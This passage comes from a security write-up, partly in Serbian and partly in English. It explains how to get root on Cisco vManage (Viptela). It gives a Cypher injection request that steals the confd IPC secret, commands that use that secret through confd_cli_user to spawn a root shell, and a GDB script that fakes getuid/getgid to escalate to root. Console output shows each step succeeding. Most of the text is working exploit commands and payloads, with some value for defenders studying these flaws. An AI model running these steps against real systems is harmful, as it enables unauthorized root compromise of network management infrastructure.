Nakon što smo malo istražili neku dokumentaciju vezanu za confd i različite binarne datoteke (pristupačne sa nalogom na Cisco veb sajtu), otkrili smo da za autentifikaciju IPC soketa koristi tajnu smeštenu u /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Zapamtite našu Neo4j instancu? Ona radi pod privilegijama korisnika vmanage, što nam omogućava da preuzmemo datoteku koristeći prethodnu ranjivost:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Program confd_cli ne podržava argumente komandne linije, već poziva /usr/bin/confd_cli_user sa argumentima. Dakle, mogli bismo direktno pozvati /usr/bin/confd_cli_user sa našim skupom argumenata. Međutim, nije čitljiv sa našim trenutnim privilegijama, pa moramo da ga preuzmemo iz rootfs i kopiramo ga koristeći scp, pročitamo pomoć i koristimo ga da dobijemo shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Blog¹ tima synacktiv opisao je elegantan način da se dobije root shell, ali upozorenje je da je potrebno dobiti kopiju /usr/bin/confd_cli_user koja je samo čitljiva od strane root-a. Pronašao sam drugi način da se eskaliram na root bez takvih problema.
Kada sam dekompajlirao /usr/bin/confd_cli binarni fajl, primetio sam sledeće:
I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
My first attempt was to run the “cmdptywrapper” directly and supplying it with -g 0 -u 0, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
As mentioned in synacktiv’s blog(last example), the confd_cli program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
I created a GDB script where I forced the API getuid and getgid to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the /etc/confd/confd_ipc_secret directly.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Izlaz konzole:
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
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License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
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There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
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Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
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Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
